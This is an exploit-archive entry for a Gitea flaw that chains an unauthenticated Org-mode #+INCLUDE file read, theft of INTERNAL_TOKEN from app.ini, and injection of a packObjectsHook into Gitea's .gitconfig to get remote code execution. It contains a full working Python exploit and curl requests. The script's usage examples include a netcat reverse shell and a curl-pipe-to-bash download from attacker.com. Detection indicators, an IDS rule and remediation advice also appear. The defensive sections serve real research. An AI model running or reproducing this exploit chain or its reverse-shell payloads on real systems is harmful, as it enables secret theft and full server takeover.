PoC Archive PoC Archive
CVE-2026-59774 category: web CVSS 9.8 (CRITICAL)
Patched

Gitea Unauthenticated Arbitrary File Read via Org-mode INCLUDE Leading to RCE (CVE-2026-59774)

Published: 2026-11-25 • Researcher: FlowerWitch (PoC script and write-up); go-gitea security team (GHSA-6v53-hr58-556r advisory and 1.27.1 fixes)

Target software Gitea self-hosted Git service (repository markup endpoint, Org-mode renderer supplied by go-org)
Affected versions Gitea 1.22 < 1.27.1, i.e. v1.22.1 through v1.27.0 per the vendor advisory; patched in 1.27.1 (NVD lists no product/version ranges). Reference lab uses docker.gitea.com/gitea:1.27.0.
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-59774
Category
web
Affected product
Gitea self-hosted Git service (repository markup endpoint, Org-mode renderer supplied by go-org)
Affected versions
Gitea 1.22 < 1.27.1, i.e. v1.22.1 through v1.27.0 per the vendor advisory; patched in 1.27.1 (NVD lists no product/version ranges). Reference lab uses docker.gitea.com/gitea:1.27.0.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-08-08
Author / ResearcherFlowerWitch (PoC script and write-up); go-gitea security team (GHSA-6v53-hr58-556r advisory and 1.27.1 fixes)
CVE / AdvisoryCVE-2026-59774
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsRCE, unauthenticated, Gitea, org-mode, go-org, arbitrary-file-read, path-traversal, INTERNAL_TOKEN, git-hook, CWE-22
RelatedN/A

Affected Target

FieldValue
Software / SystemGitea self-hosted Git service (repository markup endpoint, Org-mode renderer supplied by go-org)
Versions AffectedGitea 1.22 < 1.27.1, i.e. v1.22.1 through v1.27.0 per the vendor advisory; patched in 1.27.1 (NVD lists no product/version ranges). Reference lab uses docker.gitea.com/gitea:1.27.0.
Language / PlatformGo (Gitea server, go-org 1.9.1 renderer); Linux, Docker image or binary package; HTTP/HTTPS
Authentication RequiredNo (an anonymous reader of any public repository is enough)
Network Access RequiredYes

Summary

Gitea’s Org-mode markup renderer processes #+INCLUDE directives without confining them to the repository or to the data directory, so an unauthenticated attacker can read arbitrary files that the Gitea service account can access. Gitea 1.27.0 creates the go-org renderer with org.New() and never replaces its default ReadFile callback, which is ioutil.ReadFile; a request to POST /{owner}/{repo}/markup with Mode file, a .org FilePath and a crafted #+INCLUDE value is therefore enough for a server-side read. Reading app.ini discloses the internal API token and the application data path, and the internal logger endpoint can then append an attacker-controlled [uploadpack] packObjectsHook entry to Gitea’s managed global .gitconfig. A subsequent anonymous git clone of the public repository executes the hook command as the Gitea OS user, turning a file-disclosure bug into unauthenticated remote code execution.

Vulnerability Details

Root Cause

Gitea registers POST /{owner}/{repo}/markup with optional sign-in, a repository assignment and a repository-unit reader check; an anonymous user satisfies that check for any public repository whose code unit is readable. The handler passes the supplied Mode, Text and FilePath into the generic markup renderer, and Mode file with a .org filename selects the Org-mode renderer. In Gitea 1.27.0 the renderer is built with org.New() without replacing the default ReadFile callback, which in go-org 1.9.1 is ioutil.ReadFile. Org-mode #+INCLUDE accepts absolute paths and hands them directly to that callback, so the renderer reads any host path the service user can open. The only validation on the directive is go-org’s includeFileRegexp, which merely requires the syntax #+INCLUDE: “path” src and performs no path confinement. Separately, the internal management API trusts the INTERNAL_TOKEN bearer value as an administrator-equivalent secret, and its add-logger endpoint can append arbitrary text to a file under Gitea’s control, which lets the disclosed token be converted into a write primitive.

Attack Vector

An unauthenticated attacker sends POST /{owner}/{repo}/markup with a JSON body containing Mode file, FilePath set to a .org filename, Text set to a valid #+INCLUDE directive and Context set to the repository source path. The first read targets /proc/self/environ to recover GITEA_CUSTOM; the second reads {GITEA_CUSTOM}/conf/app.ini to recover INTERNAL_TOKEN and APP_DATA_PATH. The attacker then calls POST /api/internal/manager/add-logger with X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>, a router logger whose writer uses Mode file with Config.filename {APP_DATA_PATH}/home/.gitconfig and a prefix containing a newline plus [uploadpack] and packObjectsHook = ;#. After closing the logger with POST /api/internal/manager/remove-logger/router/pwnhook, an anonymous git clone of the public repository makes git invoke pack-objects through the hook, running the command as the Gitea service user.

Impact

Unauthenticated read access to every file the Gitea service account can open, including app.ini with INTERNAL_TOKEN, SECRET_KEY, OAuth and JWT material, database credentials, and deployment metadata. When the internal token is recovered, the chain continues to command execution as the Gitea OS user, giving repository and configuration tampering, access to all hosted repositories and users, and a foothold for lateral movement inside the hosting environment. The vendor advisory rates confidentiality, integrity and availability impact as High.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker host)
Target:      Gitea 1.27.0 (docker.gitea.com/gitea:1.27.0), SQLite database,
             USER_UID/USER_GID 1000, HTTP on port 3000, data volume ./gitea:/data
Attacker:    Linux/macOS with network access to port 3000, Python 3 and git
Tools:       docker compose, curl, python3 with the requests module, git

Setup Steps

Shell script
1
2
3
4
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd CVE-2026-59774_docker

docker compose up -d

Proof of Concept

Step-by-Step Reproduction

  1. Find a public repository — the exploit probes /api/v1/users/{admin,root,test,user,gitea}/repos and then guesses common paths such as admin/poc, root/test, gitea/gitea and test/test, recording the first reachable owner/repo pair.
  2. Read the service environment — POST to /{owner}/{repo}/markup with a JSON body that selects Mode file and a .org FilePath whose content is an INCLUDE of /proc/self/environ; the response discloses GITEA_CUSTOM.
    Shell script
    1
    2
    
    curl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
      -d '{"Mode":"file","FilePath":"poc.org","Text":"#+INCLUDE: \"/proc/self/environ\" src 123\n","Context":"/admin/poc/src/main/"}' | grep GITEA_CUSTOM=
  3. Read app.ini — repeat the markup request with the path {GITEA_CUSTOM}/conf/app.ini to recover INTERNAL_TOKEN and APP_DATA_PATH.
  4. Write the malicious git configuration — POST /api/internal/manager/add-logger with the disclosed INTERNAL_TOKEN injects a router-prefixed line into {APP_DATA_PATH}/home/.gitconfig that declares a packObjectsHook command.
  5. Close the logger — POST /api/internal/manager/remove-logger/router/pwnhook with the same bearer token, so later log writes do not corrupt the injected configuration.
  6. Trigger the hook — run git clone –depth 1 on the public repository; the upload-pack path invokes pack-objects through the hook, executing the supplied command as the Gitea service user.

Exploit Code

See CVE-2026-59774_exp.py (source repository layout in upstream-README.md and docker-compose.yml).

The full script automates all six steps with -u <base-url> -c "<command>". The core primitives are:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
payload = {
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": f'#+INCLUDE: "{file_path}" src 123\n',
    "Context": f"/{self.public_repo}/src/main/",
}
r = session.post(f"{base_url}/{self.public_repo}/markup", json=payload)

session.post(
    f"{base_url}/api/internal/manager/add-logger",
    headers={"X-Gitea-Internal-Auth": f"Bearer {internal_token}"},
    json={
        "Logger": "router", "Writer": "pwnhook", "Mode": "file",
        "Config": {
            "filename": f"{app_data_path}/home/.gitconfig",
            "flags": "none",
            "prefix": f"[uploadpack]\n\tpackObjectsHook = {command} ;#",
            "level": "Info", "rotate": False,
        },
    },
)

Expected Output

Illustrative run against the reference image; the exact IDs, token prefix and paths depend on the installation:

Output
[*] 步骤1: 探测公开仓库...
[+] 找到公开仓库: admin/poc
[*] 步骤2: 读取 /proc/self/environ 获取 GITEA_CUSTOM...
[+] 获取到 GITEA_CUSTOM: /data/gitea
[*] 步骤3: 读取 app.ini 获取 INTERNAL_TOKEN 和 APP_DATA_PATH...
[+] 获取到 INTERNAL_TOKEN: eyJhbGciOiJIUzI1NiIs...
[+] 获取到 APP_DATA_PATH: /data/gitea
[*] 步骤4: 注入恶意 .gitconfig...
[+] 成功写入恶意配置到: /data/gitea/home/.gitconfig
[*] 步骤5: 清理日志句柄...
[+] 日志句柄已清理
[*] 步骤6: 触发命令执行 (clone 仓库)...
[*] 执行: git clone --depth 1 http://localhost:3000/admin/poc.git <tmp>
[*] git clone 返回码: 0
[+] 漏洞利用流程完成

After the clone, the proof command id > /tmp/pwned writes a file readable inside the container, for example uid=1000(git) gid=1000(git) groups=1000(git).

Detection & Indicators of Compromise

  • Anonymous POST requests to /{owner}/{repo}/markup whose JSON body contains #+INCLUDE and a value for Mode of file, especially against repositories the client has never interacted with before.
  • Requests to /api/internal/manager/add-logger or /api/internal/manager/remove-logger that arrive from outside the loopback interface or from a client that also requested the markup endpoint; writer names that are not part of normal configuration.
  • Responses to the markup endpoint that contain process environment variables, INTERNAL_TOKEN, SECRET_KEY, APP_DATA_PATH or app.ini syntax, indicating a read of /proc/self/environ or conf/app.ini.
  • Modifications to {APP_DATA_PATH}/home/.gitconfig containing an [uploadpack] section or a packObjectsHook directive; the file is managed by Gitea and should not gain new sections during normal operation.
  • git clone or git upload-pack activity against a public repository immediately after markup and internal-API requests from the same source address.
  • Example access log evidence:
Output
203.0.113.7 - - [25/Nov/2026:12:00:01 +0000] "POST /admin/poc/markup HTTP/1.1" 200 8192 "-" "python-requests/2.31.0"
203.0.113.7 - - [25/Nov/2026:12:00:04 +0000] "POST /api/internal/manager/add-logger HTTP/1.1" 201 2 "-" "python-requests/2.31.0"
203.0.113.7 - - [25/Nov/2026:12:00:09 +0000] "GET /admin/poc.git/info/refs?service=git-upload-pack HTTP/1.1" 200 210 "-" "git/2.43.0"

SIEM / IDS rule (example):

Output
alert http any any -> any any (msg:"Gitea CVE-2026-59774 org-mode INCLUDE markup abuse"; \
  flow:to_server; content:"POST"; http_method; content:"/markup"; http_uri; \
  content:"#+INCLUDE:"; http_client_body; content:"\"Mode\":\"file\""; http_client_body; sid:90059774;)

Remediation

ActionDetail
PatchUpgrade Gitea to 1.27.1 or later (vendor-patched version; see the release notes and GHSA-6v53-hr58-556r).
WorkaroundIf an upgrade is not immediately possible, remove the precondition: make repositories private, disable anonymous read access, or block anonymous access to the markup route at the reverse proxy; also block /api/internal/manager/* from all clients except loopback. These measures reduce exposure but do not fix the missing path confinement.
Config HardeningTreat INTERNAL_TOKEN and SECRET_KEY as compromised on any instance that was reachable while vulnerable, rotate them, review Gitea’s managed .gitconfig for added sections, run Gitea with a least-privilege service account, keep the data volume the only writable path, and monitor the markup and internal management endpoints.

References

Notes

Auto-ingested from https://github.com/FlowerWitch/CVE-2026-59774_docker on 2026-11-25.

Review verdict: genuine exploit code, not a detector. The repository contains a single Python exploit that performs the full chain documented in the advisory — unauthenticated arbitrary file read through the Org-mode INCLUDE directive in the markup endpoint, disclosure of GITEA_CUSTOM / INTERNAL_TOKEN / APP_DATA_PATH from /proc/self/environ and conf/app.ini, an authenticated append to .gitconfig through the internal logger API, and command execution triggered by an anonymous git clone. The upstream README documents the same steps with screenshots, so the entry is recorded as Weaponized.

License status: the repository has no license file, so default copyright applies; the files are archived unmodified (apart from the research-only header in the exploit) with attribution for authorized research only.

Limitations: the exploit assumes at least one public repository with a readable code unit and guesses common owner/repo names, so targets without an obvious public repository need the path supplied manually; the /proc/self/environ and app.ini paths exist only on standard Linux deployments; command output is not returned in-band, the hook writes to a file or outbound channel instead; and the script was not executed during ingestion, so the expected output above is illustrative rather than captured. The upstream README and code comments are in Chinese, and the script carries a large ANSI-art banner. Run only against systems you own or have written authorization to test.

CVE-2026-59774_exp.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/FlowerWitch/CVE-2026-59774_docker (see README for attribution/license)
"""
CVE-2026-59774 漏洞利用脚本
用法: python exploit.py -u http://test.com:3000 -c "id > /tmp/pwned"
可选 -d 开启调试输出
"""

import requests
import re
import argparse
import sys
import urllib3
from urllib.parse import urlparse

# 禁用 SSL 警告(测试环境使用)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def print_banner():
    banner = r'''
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@#*+#@@@@@@@@@@@@@@@@%%%%@@@@@@@@@@@@@@@@@@@@%**%@@@@@@@@@@@@@@@@@@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##%@@@@@@@%@%@%%%@#%@@@@%%%%%%%%%%%%@#%@@@@%#*#@@@%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@%@%@%@%@%@@%%%%%%%%%%%%%%%%#%@%@@%#%%#@@@@%@@@@@%%%%%%%%
%%%%%%%%%%@%%%@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%@@@@@%%@@@@%@@@@@@@@%%%%
%%%%%%%%%%%@%%%@%%@%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%@@@@@%%%%@@@@%@@%%%@@@@@%
%%%%%%%%%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%%@@@@@@@@@%%%%%%#%#%%%%%%%%%%%%%%%%#%%%%%%%@@@@%%@@%%%@@@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%@@@@@%%@@@%%%%%%%%%%#*%%#%%%%##%%%%%@@@@@@@@@@@@@@@@@@%%@@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@%%@@@@%%%%%%%%%%%%%%%%#--#%%%%%%##%%%%%@@@@@@@@@@@@@@@@@@@@@@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%@@#@%%%%%%%%%%%%%**+++===-+%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@*=*%%%%%%%%%%%%+-:::--#%#%%%%%%%%%%%#@@@@@@@@@@@%%%@@@@@@@@@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%+=*%%%%%%%%%%@=:::---+#%%%%%%%%%%%##@@@@@@@%%%%*+--===*%%@@%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#**%%%%%%%%%%*--:-+*%%%%%%%%%%%%##%%%%@@@@@%%%%%%*==*##%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##%%%%%%%%%%+----=*#%%%%%%%%%##%%%%%%%%@@@**#@@@%%%##%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%####++*##%%%%%%%%%%%%%%%%%%%%#*#%%%@@@@%##%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*####%%%%%%%%%%%%%%%%%%#%%*---*@@@@%=-#%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@%%####%%%%%%%%%%%%%#++=+@@@@@+-#
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@%%%%%%@@@@@@@@@@@@@*=%@@@@*-
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%*#@@@@@%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%###+=---=*%@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%@@@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*+*=------:+%@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%@@@
'''
    banner1 = '\x1b[38;2;255;105;180m' + r'''
╔══════════════════════════════════════════════════════════╗
║                                                          ║
║   🌸  Flowerwitch CVE-2026-59774 Exploit Tool  🌸        ║
║                                                          ║
╚══════════════════════════════════════════════════════════╝
''' + '\x1b[0m'
    print(banner)
    print(banner1)
    


class GiteaExploit:
    def __init__(self, base_url, command, verify_ssl=False, debug=False):
        self.base_url = base_url.rstrip('/')
        self.command = command
        self.verify_ssl = verify_ssl
        self.debug = debug
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.gitea_custom = None
        self.internal_token = None
        self.app_data_path = None
        self.public_repo = None

    def _debug(self, msg):
        if self.debug:
            print(f"[DEBUG] {msg}")

    def _get_public_repo(self):
        """步骤1: 探测目标是否有公开的仓库"""
        print("[*] 步骤1: 探测公开仓库...")

        test_users = ["admin", "root", "test", "user", "gitea"]
        for user in test_users:

            api_url = f"{self.base_url}/api/v1/users/{user}/repos"
            try:
                resp = self.session.get(api_url, timeout=10)
                if resp.status_code == 200:
                    repos = resp.json()
                    if repos:
                        repo = repos[0]
                        self.public_repo = f"{repo['owner']['username']}/{repo['name']}"
                        print(f"[+] 找到公开仓库: {self.public_repo}")
                        return True
            except Exception:
                continue

        common_repos = ["admin/poc", "root/test", "gitea/gitea", "test/test"]
        for repo in common_repos:
            test_url = f"{self.base_url}/{repo}"
            try:
                resp = self.session.get(test_url, timeout=10)
                if resp.status_code == 200:
                    self.public_repo = repo
                    print(f"[+] 找到公开仓库: {self.public_repo}")
                    return True
            except Exception:
                continue

        print("[-] 未找到公开仓库")
        return False

    def _read_file_via_markup(self, file_path):
        """
        通过 /{repo}/markup 接口读取任意文件
        使用 #+INCLUDE: "{file_path}" src 123 格式绕过正则过滤
        """
        if not self.public_repo:
            return None

        url = f"{self.base_url}/{self.public_repo}/markup"

        payload = {
            "Mode": "file",
            "FilePath": "poc.org",
            "Text": f'#+INCLUDE: "{file_path}" src 123\n',
            "Context": f"/{self.public_repo}/src/main/"
        }

        try:
            resp = self.session.post(url, json=payload, timeout=15)
            if resp.status_code == 200:
                return resp.text
            else:
                print(f"[-] 读取文件失败 (HTTP {resp.status_code}): {file_path}")
                return None
        except Exception as e:
            print(f"[-] 请求异常: {e}")
            return None

    def _get_gitea_custom(self):
        """步骤2: 读取 /proc/self/environ 获取 GITEA_CUSTOM"""
        print("[*] 步骤2: 读取 /proc/self/environ 获取 GITEA_CUSTOM...")

        content = self._read_file_via_markup("/proc/self/environ")
        if not content:
            return False

        self._debug(f"环境变量内容前200字符: {repr(content[:200])}")

        match = re.search(r'GITEA_CUSTOM=([^=]+?)(?=GITEA_[A-Z_]+=|$)', content)
        if match:
            self.gitea_custom = match.group(1)
            print(f"[+] 获取到 GITEA_CUSTOM: {self.gitea_custom}")
            return True
        else:
            fallback = re.search(r'GITEA_CUSTOM=([^\s]+)', content)
            if fallback:
                self.gitea_custom = fallback.group(1)
                print(f"[+] (备用匹配) GITEA_CUSTOM: {self.gitea_custom}")
                return True
        print("[-] 未在 /proc/self/environ 中找到 GITEA_CUSTOM")
        return False

    def _get_app_config(self):
        """步骤3: 读取 {GITEA_CUSTOM}/conf/app.ini 获取 INTERNAL_TOKEN 和 APP_DATA_PATH"""
        if not self.gitea_custom:
            return False

        print("[*] 步骤3: 读取 app.ini 获取 INTERNAL_TOKEN 和 APP_DATA_PATH...")

        custom = self.gitea_custom.rstrip('/')
        app_ini_path = f"{custom}/conf/app.ini"
        self._debug(f"app.ini 路径: {app_ini_path}")

        content = self._read_file_via_markup(app_ini_path)
        if not content:
            return False

        self._debug(f"app.ini 前500字符:\n{content[:500]}")

        token_match = re.search(r'^\s*INTERNAL_TOKEN\s*=\s*([^\s#]+)', content, re.MULTILINE)
        if token_match:
            self.internal_token = token_match.group(1).strip()
            print(f"[+] 获取到 INTERNAL_TOKEN: {self.internal_token[:20]}...")
        else:
            print("[*] app.ini 中未找到 INTERNAL_TOKEN,尝试从环境变量获取...")
            env_content = self._read_file_via_markup("/proc/self/environ")
            if env_content:
                env_match = re.search(r'GITEA_INTERNAL_TOKEN=([^=]+?)(?=GITEA_[A-Z_]+=|$)', env_content)
                if env_match:
                    self.internal_token = env_match.group(1)
                    print(f"[+] 从环境变量获取到 INTERNAL_TOKEN: {self.internal_token[:20]}...")
                else:
                    print("[-] 环境变量中也未找到 INTERNAL_TOKEN")
                    return False
            else:
                print("[-] 无法读取 /proc/self/environ")
                return False

        path_match = re.search(r'^\s*APP_DATA_PATH\s*=\s*([^\s#]+)', content, re.MULTILINE)
        if path_match:
            self.app_data_path = path_match.group(1).strip()
            print(f"[+] 获取到 APP_DATA_PATH: {self.app_data_path}")
        else:
            print("[-] 未在 app.ini 中找到 APP_DATA_PATH")
            return False

        return True

    def _inject_gitconfig(self):
        """步骤4: 使用 INTERNAL_TOKEN 向 APP_DATA_PATH/home/.gitconfig 写入恶意配置"""
        if not self.internal_token or not self.app_data_path:
            return False

        print("[*] 步骤4: 注入恶意 .gitconfig...")

        target_file = f"{self.app_data_path}/home/.gitconfig"

        malicious_config = f'[uploadpack]\n\tpackObjectsHook = {self.command} ;#'

        url = f"{self.base_url}/api/internal/manager/add-logger"
        headers = {
            "X-Gitea-Internal-Auth": f"Bearer {self.internal_token}",
            "Content-Type": "application/json"
        }
        payload = {
            "Logger": "router",
            "Writer": "pwnhook",
            "Mode": "file",
            "Config": {
                "filename": target_file,
                "flags": "none",
                "prefix": malicious_config,
                "level": "Info",
                "rotate": False
            }
        }

        try:
            resp = self.session.post(url, json=payload, headers=headers, timeout=15)
            if resp.status_code in [200, 201, 204]:
                print(f"[+] 成功写入恶意配置到: {target_file}")
                return True
            else:
                print(f"[-] 写入失败 (HTTP {resp.status_code}): {resp.text}")
                return False
        except Exception as e:
            print(f"[-] 请求异常: {e}")
            return False

    def _remove_logger(self):
        """步骤5: 关闭日志句柄,避免后续请求污染"""
        if not self.internal_token:
            return

        print("[*] 步骤5: 清理日志句柄...")

        url = f"{self.base_url}/api/internal/manager/remove-logger/router/pwnhook"
        headers = {
            "X-Gitea-Internal-Auth": f"Bearer {self.internal_token}"
        }

        try:
            resp = self.session.post(url, headers=headers, timeout=10)
            if resp.status_code in [200, 201, 204]:
                print("[+] 日志句柄已清理")
            else:
                print(f"[-] 清理失败 (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[-] 清理异常: {e}")

    def _trigger_command(self):
        """步骤6: 触发命令执行 (通过匿名 clone)"""
        print("[*] 步骤6: 触发命令执行 (clone 仓库)...")

        if not self.public_repo:
            print("[-] 无公开仓库可 clone")
            return

        clone_url = f"{self.base_url}/{self.public_repo}.git"

        # 使用 git clone --depth 1 来触发 pack-objects
        import subprocess
        import tempfile

        try:
            with tempfile.TemporaryDirectory() as tmpdir:
                cmd = ["git", "clone", "--depth", "1", clone_url, tmpdir]
                print(f"[*] 执行: {' '.join(cmd)}")
                result = subprocess.run(
                    cmd,
                    capture_output=True,
                    text=True,
                    timeout=30
                )
                print(f"[*] git clone 返回码: {result.returncode}")
                if result.returncode == 0:
                    print("[+] 命令应已执行,请检查目标系统")
                else:
                    print(f"[-] git clone 失败: {result.stderr}")
        except FileNotFoundError:
            print("[-] 未找到 git 命令,请确保已安装 git")
        except Exception as e:
            print(f"[-] 触发异常: {e}")

    def run(self):
        """执行完整漏洞利用流程"""
        print(f"[*] 目标: {self.base_url}")
        print(f"[*] 命令: {self.command}")

        if not self._get_public_repo():
            print("[!] 无法找到公开仓库,退出")
            return False
        if not self._get_gitea_custom():
            print("[!] 无法获取 GITEA_CUSTOM,退出")
            return False
        if not self._get_app_config():
            print("[!] 无法获取 INTERNAL_TOKEN/APP_DATA_PATH,退出")
            return False
        if not self._inject_gitconfig():
            print("[!] 注入失败,退出")
            return False
        self._remove_logger()
        self._trigger_command()

        print("[+] 漏洞利用流程完成")
        return True


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-59774 Gitea RCE 漏洞利用脚本",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
示例:
  python exploit.py -u http://localhost:3000 -c "id > /tmp/pwned"
  python exploit.py -u https://gitea.example.com -c "nc attacker.com 4444 -e /bin/sh"
  python exploit.py -u http://test.com:3000 -c "curl http://attacker.com/backdoor.sh | bash"
        """
    )
    parser.add_argument(
        "-u", "--url",
        required=True,
        help="目标 Gitea 实例 URL (例如: http://localhost:3000)"
    )
    parser.add_argument(
        "-c", "--command",
        required=True,
        help="要执行的系统命令 (例如: id > /tmp/pwned)"
    )
    parser.add_argument(
        "-d", "--debug",
        action="store_true",
        help="开启调试输出,显示更多详细信息"
    )
    parser.add_argument(
        "--no-verify",
        action="store_true",
        help="跳过 SSL 证书验证 (仅测试环境使用)"
    )

    args = parser.parse_args()

    print_banner()

    if not args.url.startswith(("http://", "https://")):
        args.url = "http://" + args.url

    exploit = GiteaExploit(args.url, args.command, verify_ssl=not args.no_verify, debug=args.debug)

    try:
        success = exploit.run()
        sys.exit(0 if success else 1)
    except KeyboardInterrupt:
        print("\n[!] 用户中断")
        sys.exit(1)
    except Exception as e:
        print(f"[!] 未预期的错误: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()